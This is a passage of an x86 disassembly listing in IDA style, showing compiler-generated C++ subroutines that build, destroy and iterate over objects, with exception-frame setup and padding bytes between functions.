dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 439BF1h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+4] call sub_13AB824 lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_13AB824 lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_13AB824 lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_13AB824 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13BE4A0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BE530 proc near ; CODE XREF: sub_13AC1C0j var_98 = dword ptr -98h var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push 0FFFFFFFFh push 439C30h mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_10] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+2Ch+var_10], esp push eax call sub_13ABC61 mov edx, [esp+30h+arg_8] sub esp, 18h mov ecx, esp mov [esp+48h+arg_C], esp push edx mov [esp+4Ch+var_8], 0 call sub_13ABC61 mov eax, [esp+4Ch+arg_0] sub esp, 18h mov ecx, esp mov [esp+64h+arg_4], esp push eax mov byte ptr [esp+68h+var_C], 1 call sub_13ABC61 mov edx, [esp+68h+var_4] sub esp, 18h mov ecx, esp mov [esp+80h], esp push edx mov byte ptr [esp+84h+var_10], 2 call sub_13ABC61 mov eax, [esp+84h+var_C] sub esp, 18h mov ecx, esp mov [esp+9Ch+var_8], esp push eax mov [esp+0A0h+var_14], 3 call sub_13ABC61 mov ecx, esi mov [esp+0A0h+var_18], 0FFFFFFFFh call sub_13ABC9D mov ecx, [esp+0A0h+var_98] pop esi mov large fs:0, ecx add esp, 10h retn 14h sub_13BE530 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BE620 proc near ; CODE XREF: sub_13AB937j add ecx, 6Ch jmp sub_13AC062 sub_13BE620 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BE640 proc near ; CODE XREF: sub_13AB77Fj var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_C = byte ptr 10h arg_14 = byte ptr 18h arg_18 = byte ptr 1Ch arg_28 = byte ptr 2Ch arg_30 = byte ptr 34h arg_3C = byte ptr 40h arg_48 = byte ptr 4Ch arg_50 = byte ptr 54h push 0FFFFFFFFh push 439C7Bh mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx push 60h mov [esp+1Ch+var_4], 3 call near ptr 13E0C1Ah add esp, 4 mov dword ptr [esp+4+arg_0], eax test eax, eax mov [esp+4+arg_C], 4 jz short loc_13BE683 mov ecx, eax call sub_13ABFE0 jmp short loc_13BE685 ; --------------------------------------------------------------------------- loc_13BE683: ; CODE XREF: sub_13BE640+38j xor eax, eax loc_13BE685: ; CODE XREF: sub_13BE640+41j lea ecx, [esp+4+arg_14] mov [esp+4+arg_C], 3 push ecx mov ecx, eax mov [esp+8], eax call sub_13AC40E mov eax, [esp+8+var_4] lea edx, [esp+8+arg_28] push edx lea ecx, [eax+15h] call sub_13AC40E mov edx, [esp+0Ch+var_8] lea ecx, [esp+0Ch+arg_3C] push ecx lea ecx, [edx+2Ah] call sub_13AC40E mov ecx, [esp+10h+var_C] lea eax, [esp+10h+arg_50] push eax add ecx, 3Fh call sub_13AC40E lea edx, [esp+14h+var_10] lea ecx, [esi+60h] push edx call sub_13AC2F1 lea ecx, [esp+18h+arg_0] mov byte ptr [esp+18h+var_4], 2 call sub_13AB626 lea ecx, [esp+18h+arg_18] mov byte ptr [esp+18h+var_4], 1 call sub_13AB626 lea ecx, [esp+18h+arg_30] mov byte ptr [esp+18h+var_4], 0 call sub_13AB626 lea ecx, [esp+18h+arg_48] mov [esp+18h+var_4], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+18h+var_C] pop esi mov large fs:0, ecx add esp, 14h retn 60h sub_13BE640 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BE770 proc near ; CODE XREF: sub_13ABFE0j var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 439CC9h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_13AB824 lea ecx, [esi+15h] mov [esp+18h+var_4], 0 call sub_13AB824 lea ecx, [esi+2Ah] mov byte ptr [esp+18h+var_4], 1 call sub_13AB824 lea ecx, [esi+3Fh] mov byte ptr [esp+18h+var_4], 2 call sub_13AB824 lea eax, [esp+18h+var_11] lea ecx, [esi+54h] push eax mov byte ptr [esp+1Ch+var_4], 3 call sub_13AB72A mov ecx, [esp+18h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn sub_13BE770 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BE810 proc near ; CODE XREF: sub_13AB4FAj var_7C = dword ptr -7Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push 0FFFFFFFFh push 439CF8h mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_C] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+2Ch+var_10], esp push eax call sub_13ABC61 mov edx, [esp+30h+arg_4] sub esp, 18h mov ecx, esp mov [esp+48h+arg_8], esp push edx mov [esp+4Ch+var_8], 0 call sub_13ABC61 mov eax, [esp+4Ch] sub esp, 18h mov ecx, esp mov [esp+64h+arg_0], esp push eax mov [esp+68h+var_C], 1 call sub_13ABC61 mov edx, [esp+68h+var_8] sub esp, 18h mov ecx, esp mov [esp+80h+var_4], esp push edx mov byte ptr [esp+84h+var_10], 2 call sub_13ABC61 mov ecx, esi mov [esp+84h+var_14], 0FFFFFFFFh call sub_13AB77F mov ecx, [esp+84h+var_7C] pop esi mov large fs:0, ecx add esp, 10h retn 10h sub_13BE810 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BE8E0 proc near ; CODE XREF: sub_13AC1ACj var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_8 = byte ptr -8 var_4 = dword ptr -4 arg_8 = byte ptr 0Ch arg_14 = byte ptr 18h arg_18 = dword ptr 1Ch push 0FFFFFFFFh push 439D18h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi lea ecx, [esp+18h+var_14] mov [esp+18h+var_4], 0 mov [esp+18h+var_10], 0 call sub_13AC21F mov eax, [esp+18h+arg_18] lea ecx, [esp+18h+arg_18] push ecx lea esi, [eax+54h] mov ecx, esi call sub_13AB6E9 mov edx, [eax] lea eax, [esp+1Ch+arg_14] push eax mov ecx, esi mov [esp+20h+var_18], edx call sub_13AC189 push eax lea ecx, [esp+24h+var_1C] call sub_13AC15C test al, al jz short loc_13BE990 loc_13BE945: ; CODE XREF: sub_13BE8E0+AEj lea ecx, [esp+24h+var_8] push ecx lea ecx, [esp+28h+var_20] call sub_13AC3A5 mov ecx, [eax] call sub_13ABF72 test eax, eax jnz short loc_13BE96D lea ecx, [esp+28h+var_24] call sub_13AC3A5 mov edx, [eax] mov [esp+28h+var_20], edx loc_13BE96D: ; CODE XREF: sub_13BE8E0+7Cj lea ecx, [esp+28h+var_24] call sub_13AC4A4 lea eax, [esp+28h+arg_8] mov ecx, esi push eax call sub_13AC189 push eax lea ecx, [esp+30h+var_28] call sub_13AC15C test al, al jnz short loc_13BE945 loc_13BE990: ; CODE XREF: sub_13BE8E0+63j mov eax, [esp+30h+var_28] test eax, eax jz short loc_13BE9D8 lea ecx, [esp+30h+var_28] push ecx mov ecx, esi call sub_13AB658 mov ecx, [esp+34h+var_2C] test ecx, ecx jz short loc_13BE9B3 push 1 call sub_13ABDDD loc_13BE9B3: ; CODE XREF: sub_13BE8E0+CAj lea ecx, [esp+38h+var_1C] mov [esp+38h+var_24], 0FFFFFFFFh call sub_13AB626 mov al, 1 pop esi mov ecx, [esp+34h+var_2C] mov large fs:0, ecx add esp, 14h retn 1Ch ; --------------------------------------------------------------------------- loc_13BE9D8: ; CODE XREF: sub_13BE8E0+B6j lea ecx, [esp+30h+var_14] mov [esp+30h+var_1C], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+30h+var_24] xor al, al pop esi mov large fs:0, ecx add esp, 14h retn 1Ch sub_13BE8E0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BEA50 proc near ; CODE XREF: sub_13ABDDDj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_13AC620 test [esp+4+arg_0], 1 jz short loc_13BEA68 push esi call near ptr 13E0C02h add esp, 4 loc_13BEA68: ; CODE XREF: sub_13BEA50+Dj mov eax, esi pop esi retn 4 sub_13BEA50 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13BEA80 proc near ; CODE XREF: sub_13AC620j jmp sub_13AB626 sub_13BEA80 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BEAA0 proc near ; CODE XREF: sub_13AB676j var_71 = byte ptr -71h var_6C = byte ptr -6Ch var_61 = byte ptr -61h var_5C = byte ptr -5Ch var_54 = dword ptr -54h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_44 = byte ptr -44h var_38 = dword ptr -38h var_34 = byte ptr -34h var_29 = byte ptr -29h var_24 = byte ptr -24h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push 439D40h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 20h push ebx push ebp push esi push edi mov ebp, ecx xor ebx, ebx push offset dword_443CA4 lea eax, [esp+40h+var_24] push ebx push eax lea ecx, [esp+48h+arg_0] mov [esp+48h+var_4], ebx mov [esp+48h+var_29], 1 xor esi, esi call sub_13ABAAE push offset byte_446F80 mov ecx, eax mov [esp+4Ch+var_10], 1 call sub_13AB6EE lea ecx, [esp+4Ch+var_34] mov edi, eax mov [esp+4Ch+var_14], bl call sub_13AB626 cmp edi, ebx jz short loc_13BEB69 loc_13BEB03: ; CODE XREF: sub_13BEAA0+C7j mov ecx, [esp+4Ch+arg_8] push ecx lea ecx, [esp+50h+var_C] sub esp, 18h mov edx, esp mov [esp+68h+var_38], esp push offset dword_443CA4 push esi push edx call sub_13ABAAE mov ecx, ebp call sub_13AC1AC cmp al, bl jnz short loc_13BEB30 mov [esp+74h+var_61], bl loc_13BEB30: ; CODE XREF: sub_13BEAA0+8Aj inc esi push offset dword_443CA4 lea eax, [esp+78h+var_5C] push esi push eax lea ecx, [esp+80h+var_34] call sub_13ABAAE push offset byte_446F80 mov ecx, eax mov [esp+84h+var_48], 1 call sub_13AB6EE lea ecx, [esp+84h+var_6C] mov edi, eax mov byte ptr [esp+84h+var_4C], bl call sub_13AB626 cmp edi, ebx jnz short loc_13BEB03 loc_13BEB69: ; CODE XREF: sub_13BEAA0+61j lea ecx, [esp+84h+var_44] mov [esp+84h+var_4C], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+84h+var_54] mov al, [esp+84h+var_71] pop edi pop esi pop ebp mov large fs:0, ecx pop ebx add esp, 2Ch retn 1Ch sub_13BEAA0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BEBE0 proc near ; CODE XREF: sub_13AC50Dj var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 arg_8 = byte ptr 0Ch arg_18 = byte ptr 1Ch push 0FFFFFFFFh push 439D60h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push esi mov esi, ecx lea ecx, [esp+1Ch+arg_0] mov [esp+1Ch+var_4], 1 call sub_13ABBE4 test eax, eax jz loc_13BED14 lea ecx, [esp+1Ch+var_18] mov [esp+1Ch+var_14], 0 call sub_13AC652 add esi, 6Ch lea eax, [esp+1Ch+var_10] push eax mov ecx, esi call sub_13ABCF2 mov ecx, [eax] lea edx, [esp+20h+var_14] mov [esp+20h+var_1C], ecx push edx mov ecx, esi call sub_13AB54A push eax lea ecx, [esp+28h+var_20] call sub_13AB739 test al, al jz short loc_13BECBE loc_13BEC54: ; CODE XREF: sub_13BEBE0+DCj lea eax, [esp+28h+var_8] lea ecx, [esp+28h+var_24] push eax call sub_13AB75C mov ecx, [eax] add ecx, 4 call sub_13ABF72 test eax, eax jz short loc_13BEC8C lea ecx, [esp+2Ch+arg_8] push ecx lea ecx, [esp+30h+var_28] call sub_13AB75C mov ecx, [eax] add ecx, 19h call sub_13ABF72 test eax, eax jnz short loc_13BEC9B loc_13BEC8C: ; CODE XREF: sub_13BEBE0+8Ej lea ecx, [esp+30h+var_2C] call sub_13AB75C mov edx, [eax] mov [esp+30h+var_28], edx loc_13BEC9B: ; CODE XREF: sub_13BEBE0+AAj lea ecx, [esp+30h+var_2C] call sub_13AB58B lea eax, [esp+30h+var_24] mov ecx, esi push eax call sub_13AB54A push eax lea ecx, [esp+38h+var_30] call sub_13AB739 test al, al jnz short loc_13BEC54 loc_13BECBE: ; CODE XREF: sub_13BEBE0+72j mov eax, [esp+38h+var_30] test eax, eax jz short loc_13BED14 lea ecx, [esp+38h+var_30] push ecx mov ecx, esi call sub_13AC530 mov ecx, [esp+3Ch+var_34] test ecx, ecx jz short loc_13BECE1 push 1 call sub_13ABAFE loc_13BECE1: ; CODE XREF: sub_13BEBE0+F8j lea ecx, [esp+40h+var_20] mov byte ptr [esp+40h+var_28], 0 call sub_13AB626 lea ecx, [esp+40h+var_8] mov [esp+40h+var_28], 0FFFFFFFFh call sub_13AB626 mov al, 1 pop esi mov ecx, [esp+3Ch+var_30] mov large fs:0, ecx add esp, 18h retn 30h ; --------------------------------------------------------------------------- loc_13BED14: ; CODE XREF: sub_13BEBE0+2Ej ; sub_13BEBE0+E4j lea ecx, [esp+1Ch+arg_0] mov byte ptr [esp+1Ch+var_4], 0 call sub_13AB626 lea ecx, [esp+1Ch+arg_18] mov [esp+1Ch+var_4], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+1Ch+var_C] xor al, al pop esi mov large fs:0, ecx add esp, 18h retn 30h sub_13BEBE0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 9 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BEDB0 proc near ; CODE XREF: sub_13ABAFEj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_13ABE5A test [esp+4+arg_0], 1 jz short loc_13BEDC8 push esi call near ptr 13E0C02h add esp, 4 loc_13BEDC8: ; CODE XREF: sub_13BEDB0+Dj mov eax, esi pop esi retn 4 sub_13BEDB0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BEDE0 proc near ; CODE XREF: sub_13ABE5Aj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 439D91h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+43h] mov [esp+14h+var_4], 2 call sub_13AB626 lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_13AB626 lea ecx, [esi+19h] mov byte ptr [esp+14h+var_4], 0 call sub_13AB626 lea ecx, [esi+4] mov [esp+14h+var_4], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_13BEDE0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BEE70 proc near ; CODE XREF: sub_13AB7B1j var_44 = dword ptr -44h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push 439DB8h mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_4] push esi mov esi, ecx sub esp, 18h mov ecx, esp mov [esp+2Ch+var_10], esp push eax call sub_13ABC61 mov edx, [esp+30h] sub esp, 18h mov ecx, esp mov [esp+48h+arg_0], esp push edx mov [esp+4Ch+var_8], 0 call sub_13ABC61 mov ecx, esi mov [esp+4Ch+var_C], 0FFFFFFFFh call sub_13AC50D mov ecx, [esp+4Ch+var_44] pop esi mov large fs:0, ecx add esp, 10h retn 8 sub_13BEE70 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BEF00 proc near ; CODE XREF: sub_13ABF31j var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 4 push 0FFFFFFFFh push 439DD8h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push esi mov esi, ecx lea ecx, [esp+1Ch+arg_0] mov [esp+1Ch+var_4], 0 call sub_13ABBE4 test eax, eax jz loc_13BF007 lea ecx, [esp+1Ch+var_18] mov [esp+1Ch+var_14], 0 call sub_13AB437 add esi, 60h lea eax, [esp+1Ch+var_10] push eax mov ecx, esi call sub_13ABD83 mov ecx, [eax] lea edx, [esp+20h+var_14] mov [esp+20h+var_1C], ecx push edx mov ecx, esi call sub_13AC634 push eax lea ecx, [esp+28h+var_20] call sub_13ABED7 test al, al jz short loc_13BEFBF loc_13BEF74: ; CODE XREF: sub_13BEF00+BDj lea eax, [esp+28h+var_8] lea ecx, [esp+28h+var_24] push eax call sub_13AB5D1 mov ecx, [eax] call sub_13ABF72 test eax, eax jnz short loc_13BEF9C lea ecx, [esp+2Ch+var_28] call sub_13AB5D1 mov ecx, [eax] mov [esp+2Ch+var_24], ecx loc_13BEF9C: ; CODE XREF: sub_13BEF00+8Bj lea ecx, [esp+2Ch+var_28] call sub_13ABCB6 lea edx, [esp+2Ch+var_20] mov ecx, esi push edx call sub_13AC634 push eax lea ecx, [esp+34h+var_2C] call sub_13ABED7 test al, al jnz short loc_13BEF74 loc_13BEFBF: ; CODE XREF: sub_13BEF00+72j mov eax, [esp+34h+var_2C] test eax, eax jz short loc_13BF007 lea eax, [esp+34h+var_2C] mov ecx, esi push eax call sub_13AB554 mov ecx, [esp+38h+var_30] test ecx, ecx jz short loc_13BEFE2 push 1 call sub_13AB5C7 loc_13BEFE2: ; CODE XREF: sub_13BEF00+D9j lea ecx, [esp+3Ch+var_1C] mov [esp+3Ch+var_24], 0FFFFFFFFh call sub_13AB626 mov al, 1 pop esi mov ecx, [esp+38h+var_2C] mov large fs:0, ecx add esp, 18h retn 18h ; --------------------------------------------------------------------------- loc_13BF007: ; CODE XREF: sub_13BEF00+2Ej ; sub_13BEF00+C5j lea ecx, [esp+1Ch+arg_0] mov [esp+1Ch+var_4], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+1Ch+var_C] xor al, al pop esi mov large fs:0, ecx add esp, 18h retn 18h sub_13BEF00 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BF080 proc near ; CODE XREF: sub_13AB5C7j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_13ABF45 test [esp+4+arg_0], 1 jz short loc_13BF098 push esi call near ptr 13E0C02h add esp, 4 loc_13BF098: ; CODE XREF: sub_13BF080+Dj mov eax, esi pop esi retn 4 sub_13BF080 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BF0B0 proc near ; CODE XREF: sub_13ABF45j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 439E19h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+54h] mov [esp+14h+var_4], 3 call sub_13AB978 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_13AB626 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_13AB626 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_13AB626 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_13BF0B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BF150 proc near ; CODE XREF: sub_13AB8BFj var_E0 = byte ptr -0E0h var_D0 = byte ptr -0D0h var_C8 = dword ptr -0C8h var_C0 = dword ptr -0C0h var_B0 = dword ptr -0B0h var_88 = byte ptr -88h var_78 = byte ptr -78h var_64 = dword ptr -64h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_48 = dword ptr -48h var_40 = dword ptr -40h var_38 = dword ptr -38h var_28 = byte ptr -28h var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push 439E68h push eax mov large fs:0, esp sub esp, 40h push ebx push esi mov esi, [esp+54h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+32h] call sub_13AB8D3 push eax mov ecx, ebx call sub_13AB6EE test eax, eax jnz loc_13BF24B sub esp, 18h lea eax, [esi+15h] mov ecx, esp mov [esp+74h], esp push eax call sub_13AB8C9 sub esp, 18h mov [esp+90h+var_C], 0 mov ecx, esp mov [esp+90h+var_54], esp push offset byte_446F80 call sub_13ABC61 or ebx, 0FFFFFFFFh mov ecx, offset word_448CAE mov [esp+94h+var_10], ebx call sub_13AC50D test al, al jz loc_13BF380 push 0 push 5 push 19h push 2 push 4 push 0Fh push 0Fh lea ecx, [esp+0B0h+var_78] push 21h push ecx call sub_13ABDB5 add esp, 24h mov edi, eax lea ecx, [esi+69h] mov [esp+94h+var_40], 1 call sub_13AB8D3 push eax mov ecx, edi call sub_13AB8D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_E19CC5 call sub_13AB518 lea ecx, [esp+0A4h+var_88] mov [esp+0A4h+var_50], ebx call sub_13AB626 mov al, 1 mov ecx, [esp+0A4h+var_58] mov large fs:0, ecx pop edi pop esi pop ebx add esp, 4Ch retn 4 ; --------------------------------------------------------------------------- loc_13BF24B: ; CODE XREF: sub_13BF150+36j lea ecx, [edi+4] call sub_13AB8D3 push eax mov ecx, ebx call sub_13AB6EE test eax, eax jnz loc_13BF380 sub esp, 18h lea edx, [esi+54h] mov ecx, esp mov [esp+78h+var_4], esp push edx call sub_13AB8C9 sub esp, 18h lea eax, [esi+3Fh] mov ecx, esp mov [esp+94h+var_58], esp push eax mov [esp+98h+var_10], 2 call sub_13AB8C9 sub esp, 18h lea edx, [esi+15h] mov ecx, esp mov [esp+0B0h+var_58], esp push edx mov [esp+0B4h+var_14], 3 call sub_13AB8C9 sub esp, 18h mov ecx, esi mov eax, esp mov [esp+0CCh+var_58], esp push 1 push offset dword_443600 push 2 push eax mov [esp+0DCh+var_18], 4 call sub_13AB5EA sub esp, 18h mov [esp+0F4h+var_28], 5 mov ecx, esp mov [esp+0F4h+var_64], esp push 1 push offset dword_443600 push 1 push ecx mov ecx, esi call sub_13AB5EA or ebx, 0FFFFFFFFh mov ecx, offset word_448CAE mov [esp+104h+var_38], ebx call sub_13ABC9D test al, al jz short loc_13BF380 push 0 push 4 push 5 push 14h push 10h push 5 push 3 push 3 lea edx, [esp+124h+var_D0] push 1Bh push edx call sub_13ABDB5 add esp, 28h mov edi, eax lea ecx, [esi+69h] mov [esp+104h+var_B0], 6 call sub_13AB8D3 push eax mov ecx, edi call sub_13AB8D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_E19CC5 call sub_13AB518 lea ecx, [esp+114h+var_E0] mov [esp+114h+var_C0], ebx call sub_13AB626 mov al, 1 mov ecx, [esp+114h+var_C8] mov large fs:0, ecx pop edi pop esi pop ebx add esp, 4Ch retn 4 ; --------------------------------------------------------------------------- loc_13BF380: ; CODE XREF: sub_13BF150+82j ; sub_13BF150+10Dj ... mov ecx, [esp+94h+var_48] pop edi pop esi xor al, al mov large fs:0, ecx pop ebx add esp, 4Ch retn 4 sub_13BF150 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BF440 proc near ; CODE XREF: sub_13AB72Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_13AC2BA mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 sub_13BF440 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BF480 proc near ; CODE XREF: sub_13ABB1Cj var_14 = byte ptr -14h var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 push esi push edi mov edi, [esp+10h+arg_0] mov esi, ecx push 0 push 0 mov al, [edi] mov [esi], al call sub_13AC2BA lea ecx, [esp+18h+var_4] mov [esi+4], eax push ecx mov ecx, edi mov dword ptr [esi+8], 0 call sub_13ABACC mov edx, [eax] lea eax, [esp+1Ch+var_14] push edx push eax mov ecx, edi call sub_13AB53B mov ecx, [eax] lea edx, [esp+24h+var_14] push ecx push edx mov ecx, esi call sub_13AB6E9 mov eax, [eax] mov ecx, esi push eax call sub_13ABB2B mov eax, esi pop edi pop esi add esp, 8 retn 4 sub_13BF480 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BF500 proc near ; CODE XREF: sub_13AB978j var_C = byte ptr -0Ch sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_13AC189 mov ecx, [eax] lea edx, [esp+14h+var_C] push ecx push edx mov ecx, esi call sub_13AB6E9 mov eax, [eax] lea ecx, [esp+1Ch+var_C] push eax push ecx mov ecx, esi call sub_13AB865 mov edx, [esi+4] mov ecx, esi push edx call sub_13AC0D5 xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn sub_13BF500 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BF570 proc near ; CODE XREF: sub_13AB6E9j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_13AC48B mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_13AC1A7 mov eax, esi pop esi retn 4 sub_13BF570 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BF5B0 proc near ; CODE XREF: sub_13AC189j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_13AC1A7 mov eax, esi pop esi retn 4 sub_13BF5B0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13BF5E0 proc near ; CODE XREF: sub_13AB87Ej var_8 = byte ptr -8 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_13AC189 mov edx, [eax] lea eax, [esp+10h+var_8] push edx push eax mov ecx, esi call sub_13AC55D pop 